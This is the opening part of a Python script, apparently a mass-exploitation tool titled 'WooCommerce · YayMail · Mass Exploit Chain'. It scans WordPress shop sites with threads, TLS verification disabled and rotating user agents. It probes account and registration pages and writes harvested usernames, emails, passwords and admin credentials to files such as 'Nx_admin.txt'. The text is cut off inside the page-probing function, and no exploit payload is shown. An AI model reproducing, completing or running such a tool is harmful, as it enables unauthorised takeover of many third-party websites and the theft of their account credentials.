#!/usr/bin/env python3 # By: Nxploited (@Kxploit) import os import sys import time from datetime import datetime from typing import Optional, Dict, List from urllib.parse import urlparse, urljoin import re import json as _json import random import requests from concurrent.futures import ThreadPoolExecutor, as_completed from rich.console import Console from rich.table import Table from rich.panel import Panel from rich.align import Align from rich.text import Text from rich import box requests.packages.urllib3.disable_warnings() console = Console() REG_RESULTS_FILE = "reg.txt" ADMIN_RESULTS_FILE = "Nx_admin.txt" YAYMAIL_ZIP = "yaymail_backup.zip" UA_POOL = [ "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 " "(KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36", ] def get_random_ua() -> str: return random.choice(UA_POOL) def normalize_url(url: str) -> str: url = url.strip() if not url.startswith(("http://", "https://")): url = "https://" + url p = urlparse(url) return f"{p.scheme}://{p.netloc}" def new_session(timeout: int) -> requests.Session: s = requests.Session() s.verify = False s.timeout = timeout return s def banner() -> None: os.system("cls" if os.name == "nt" else "clear") ascii_lines = [ " _ _ _ _ _ _ _ _ __ ", " / \\ / |_ __ ) / \\ ) |_ __ /| (_| _) / ", " \\_ \\/ |_ /_ \\_/ /_ |_) | | _) / ", " ", ] ascii_text = "\n".join(ascii_lines) title = Text("WooCommerce · YayMail · Mass Exploit Chain", style="bold cyan") author = Text("By: Nxploited | GitHub: github.com/Nxploited | Telegram: @Kxploit", style="bold white") body = Align.center( Text(ascii_text, style="bold magenta") + Text("\n") + title + Text("\n") + author, vertical="middle", ) panel = Panel( body, border_style="magenta", box=box.HEAVY, padding=(1, 4), ) console.print(panel) def live_status(target: str, label: str, color: str, note: str = "") -> None: tag = Text(f"[{label}]", style=color + " bold") host = Text(f" {target}", style="white") t = tag + host if note: t += Text(f" :: {note}", style="bright_black") console.print(t) def write_reg_result(base: str, username: str, email: str, password: str) -> None: ts = datetime.utcnow().strftime("%Y-%m-%d %H:%M:%S") line = f"[{ts}] {base} user:{username} email:{email} pass:{password}\n" try: with open(REG_RESULTS_FILE, "a", encoding="utf-8") as f: f.write(line) except Exception: pass def write_admin_result(base: str, username: str, password: str, note: str = "") -> None: ts = datetime.utcnow().strftime("%Y-%m-%d %H:%M:%S") line = f"[{ts}] {base} user:{username} pass:{password}" if note: line += f" | {note}" line += "\n" try: with open(ADMIN_RESULTS_FILE, "a", encoding="utf-8") as f: f.write(line) except Exception: pass def fetch_woo_account_pages(session: requests.Session, base: str, timeout: int) -> Dict[str, str]: root = base.rstrip("/") paths = [ "/my-account/", "/my_account/", "/My-account/", "/account/", "/myaccount/", "/customer-login/", "/login/", "/register/", "/sss/", ] htmls: Dict[str, str] = {} for p in paths: url = root + p try: r = session.get(url, timeout=timeout, verify=False, headers={"User-Agent": get_random_ua()}) if r.status_code == 200 and "